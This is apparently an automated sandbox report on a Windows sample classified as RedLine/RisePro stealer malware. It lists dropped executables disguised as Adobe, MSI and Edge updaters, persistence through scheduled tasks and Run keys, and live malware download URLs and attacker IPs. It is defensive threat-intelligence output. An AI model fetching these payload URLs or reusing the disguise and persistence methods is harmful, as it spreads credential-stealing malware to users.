C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	80%	Virustotal		Browse
C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\k[1].exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\EdgeMS2_c81e728d9d4c2f636f067f89cc14862c\EdgeMS2.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\JcZ7W4aCxlpc4pOVLwL1.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\span_lgbWpHb9dJ2\dD08ulq4N33OmW5HQdwT.exe	80%	Virustotal		Browse
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	80%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
easy2buy.ae	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
https://easy2buy.ae/wp-content/upgrade/k.exe$	100%	Avira URL Cloud	malware
https://easy2buy.ae/	0%	Avira URL Cloud	safe
https://easy2buy.ae/wp-content/upgrade/k.exe	100%	Avira URL Cloud	malware
https://easy2buy.ae:80/wp-content/upgrade/k.exe	0%	Avira URL Cloud	safe
http://193.233.132.175/server/k/l2.exe	100%	Avira URL Cloud	malware
https://easy2buy.ae:80/wp-content/upgrade/k.exe	5%	Virustotal		Browse
http://193.233.132.175/server/k/l2.exe	20%	Virustotal		Browse
https://easy2buy.ae/	3%	Virustotal		Browse
https://easy2buy.ae/wp-content/upgrade/k.exe	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ipinfo.io	34.117.186.192	true	false		high
easy2buy.ae	185.199.220.53	true	false	4%, Virustotal, Browse	unknown
db-ip.com	104.26.5.15	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/widget/demo/185.152.66.230	false		high
https://db-ip.com/demo/home.php?s=185.152.66.230	false		high
https://easy2buy.ae/wp-content/upgrade/k.exe	false	0%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://193.233.132.175/server/k/l2.exe	true	20%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	false		high
https://easy2buy.ae/wp-content/upgrade/k.exe$	file.exe, 00000000.00000003.2073911947.000000000143F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444174900.0000000001442000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073061724.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://db-ip.com:443/demo/home.php?s=185.152.66.230P	file.exe, 00000000.00000002.4444174900.0000000001425000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	false		high
https://sectigo.com/CPS0	file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr, MSIUpdaterV2.exe0.0.dr, JcZ7W4aCxlpc4pOVLwL1.exe.0.dr, AdobeUpdaterV2.exe0.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	false		high
http://ocsp.sectigo.com0	file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr, MSIUpdaterV2.exe0.0.dr, JcZ7W4aCxlpc4pOVLwL1.exe.0.dr, AdobeUpdaterV2.exe0.0.dr	false	URL Reputation: safe	unknown
https://db-ip.com/	file.exe, 00000000.00000002.4444719572.0000000001475000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073911947.000000000143F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073061724.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3304691476.0000000001474000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	file.exe, 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	false		high
https://t.me/RiseProSUPPORT	file.exe, 00000000.00000002.4445827728.00000000064CA000.00000004.00000020.00020000.00000000.sdmp, UhOL8vG3NSxPpn1EjM9IIxV.zip.0.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	false		high
https://ipinfo.io/Mozilla/5.0	file.exe, 00000000.00000002.4444174900.0000000001425000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	D87fZN3R3jFeplaces.sqlite.0.dr	false		high
https://easy2buy.ae:80/wp-content/upgrade/k.exe	file.exe, 00000000.00000003.2283281296.0000000006114000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3304638888.0000000006115000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4445612966.0000000006115000.00000004.00000020.00020000.00000000.sdmp	false	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	false		high
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr, MSIUpdaterV2.exe0.0.dr, JcZ7W4aCxlpc4pOVLwL1.exe.0.dr, AdobeUpdaterV2.exe0.0.dr	false	URL Reputation: safe	unknown
https://t.me/risepro_bot	file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp, passwords.txt.0.dr	false		high
https://ipinfo.io/	file.exe, 00000000.00000002.4444174900.00000000013E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073911947.000000000143F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444174900.0000000001418000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444174900.0000000001425000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073061724.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3304691476.0000000001474000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	file.exe, AdobeUpdaterV2.exe.0.dr, l2[1].exe.0.dr, MSIUpdaterV2.exe.0.dr, oobeldr.exe.7.dr, MSIUpdaterV2.exe0.0.dr, JcZ7W4aCxlpc4pOVLwL1.exe.0.dr, AdobeUpdaterV2.exe0.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	D87fZN3R3jFeplaces.sqlite.0.dr	false		high
http://www.winimage.com/zLibDll	file.exe, 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmp	false		high
https://t.me/risepro_bot7	file.exe, 00000000.00000003.2073911947.000000000143F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444174900.0000000001442000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073061724.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io:443/widget/demo/185.152.66.230B	file.exe, 00000000.00000002.4444174900.0000000001425000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org	D87fZN3R3jFeplaces.sqlite.0.dr	false		high
https://easy2buy.ae/	file.exe, 00000000.00000002.4445435690.00000000060E3000.00000004.00000020.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2069275480.00000000064F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2060488371.00000000064EA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2063654838.00000000060FC000.00000004.00000020.00020000.00000000.sdmp, KxyubmlbrMrsWeb Data.0.dr, _oONYmGn6yA2Web Data.0.dr, Hm8O0mwXDHDOWeb Data.0.dr	false		high
https://db-ip.com/demo/home.php?s=185.152.66.230VEY	file.exe, 00000000.00000003.2073911947.000000000143F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2073061724.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3304591521.000000000147C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2074787330.000000000143B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.4444742082.0000000001481000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
193.233.132.47	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
104.26.5.15	db-ip.com	United States	13335	CLOUDFLARENETUS	false
193.233.132.175	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
185.199.220.53	easy2buy.ae	United Kingdom	12488	KRYSTALGR	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1431690
Start date and time:	2024-04-25 16:28:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@36/36@3/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): www.bing.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:29:16	Task Scheduler	Run new task: MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR path: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
16:29:16	Task Scheduler	Run new task: MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG path: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe
16:29:18	Task Scheduler	Run new task: Telemetry Logging path: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe
16:29:19	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
16:29:21	Task Scheduler	Run new task: MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c HR path: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
16:29:21	Task Scheduler	Run new task: MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c LG path: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe
16:29:21	API Interceptor	4287371x Sleep call for process: file.exe modified
16:29:27	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe
16:29:35	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe
16:29:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe
16:29:52	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk
16:29:55	API Interceptor	1830578x Sleep call for process: oobeldr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.117.186.192	SecuriteInfo.com.Win32.Evo-gen.24318.16217.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	SecuriteInfo.com.Win32.Evo-gen.28489.31883.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	Raptor.HardwareService.Setup 1.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	Conferma_Pdf_Editor.exe	Get hash	malicious	Planet Stealer	Browse	ipinfo.io/
	w.sh	Get hash	malicious	Xmrig	Browse	/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	Raptor.HardwareService.Setup_2.3.6.0.msi	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	uUsgzQ3DoW.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
	8BZBgbeCcz.exe	Get hash	malicious	RedLine	Browse	ipinfo.io/ip
193.233.132.47	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	RisePro Stealer	Browse
	file.exe	Get hash	malicious	RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
104.26.5.15	SecuriteInfo.com.Win64.Evo-gen.17494.7440.exe	Get hash	malicious	Unknown	Browse	api.db-ip.com/v2/free/127.0.0.1
	Nemty.exe	Get hash	malicious	Nemty	Browse	api.db-ip.com/v2/free/84.17.52.2/countryName
	227.exe	Get hash	malicious	Nemty	Browse	api.db-ip.com/v2/free/102.129.143.40/countryName

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	http://crunchersflowdigital.com	Get hash	malicious	Unknown	Browse	34.117.186.192
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	TeaiGames.exe	Get hash	malicious	NovaSentinel	Browse	34.117.186.192
	ShadowFury.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	ShadowFury.exe	Get hash	malicious	Unknown	Browse	34.117.186.192
	SOLkM5sa4R.exe	Get hash	malicious	Phemedrone Stealer	Browse	34.117.186.192
	xOiio3LmAO.exe	Get hash	malicious	Phemedrone Stealer	Browse	34.117.186.192
	SOLkM5sa4R.exe	Get hash	malicious	Phemedrone Stealer	Browse	34.117.186.192
	ygm2mXUReY.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
db-ip.com	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	ygm2mXUReY.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	file.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.26.5.15
	2q45IEa3Ee.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	104.26.4.15
	SajWKdHxdF.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	file.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.4.15
	s2dwlCsA95.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
easy2buy.ae	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	uqGHhft2DO.elf	Get hash	malicious	Mirai	Browse	147.45.234.222
	file.exe	Get hash	malicious	RedLine	Browse	193.233.132.169
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	193.233.132.175
	957C4XK6Lt.exe	Get hash	malicious	Phorpiex	Browse	193.233.132.177
	file.exe	Get hash	malicious	RisePro Stealer	Browse	193.233.132.47
	file.exe	Get hash	malicious	RisePro Stealer	Browse	193.233.132.47
	file.exe	Get hash	malicious	RisePro Stealer	Browse	147.45.47.93
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	193.233.132.234
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Vidar, zgRAT	Browse	193.233.132.234
	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	193.233.132.167
KRYSTALGR	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	185.199.220.53
	https://alchemyhospitality.co.uk/sl.PDF	Get hash	malicious	HTMLPhisher	Browse	185.199.220.50
	https://alchemyhospitality.co.uk/qw.PDF	Get hash	malicious	Unknown	Browse	185.199.220.50
	https://alchemyhospitality.co.uk/nb.PDF	Get hash	malicious	Unknown	Browse	185.199.220.50
	https://dannypardoe.co.uk/qw.PDF	Get hash	malicious	HTMLPhisher	Browse	185.199.220.72
	http://annekamistry.co.uk/zx.PDF	Get hash	malicious	HTMLPhisher	Browse	77.72.1.34
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	0ar3q66pGv.elf	Get hash	malicious	Mirai	Browse	34.116.69.95
	http://94.156.79.129/x86_64	Get hash	malicious	Unknown	Browse	34.117.121.53
	http://94.156.79.129/i686	Get hash	malicious	Unknown	Browse	34.117.121.53
	http://crunchersflowdigital.com	Get hash	malicious	Unknown	Browse	34.117.186.192
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	34.117.186.192
	https://i.imgur.com/EoTj4iI.png	Get hash	malicious	Unknown	Browse	34.117.239.71
	https://i.imgur.com/VlAllek.png	Get hash	malicious	Unknown	Browse	34.117.239.71
	https://tibusiness.cl/css/causarol.rar	Get hash	malicious	Unknown	Browse	34.117.188.166
	file.exe	Get hash	malicious	RisePro Stealer	Browse	34.117.186.192
	file.exe	Get hash	malicious	Glupteba, Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse	34.117.186.192
CLOUDFLARENETUS	https://r20.rs6.net/tn.jsp?f=001mdupJ4qBb-Nd2_ylzx8HBttlQ9opTAsCLDNaIzR_kjOMUNmpNcZJwTrf1-JKcQms1CJ9Uho976bwGC08_tX5C5noMjVDoDyLOXoK3aopxxStOM8t6wvTBKWgVo18etJYQ_eeHjJ4R2lwkep1pKOUg8VLdGfphtuo&c=&ch=/Er8BdK9PMSuOgr2lskWkeZAKVKx339#?ZnJhbmtfZHJhcGVyQGFvLnVzY291cnRzLmdvdg==	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://bushelman-my.sharepoint.com/:b:/p/lance/ESXtc6Laa05KpaC4W3rpMEMBfLSUU1GZhgfhBL8opRqFHg?e=Wrw3le	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
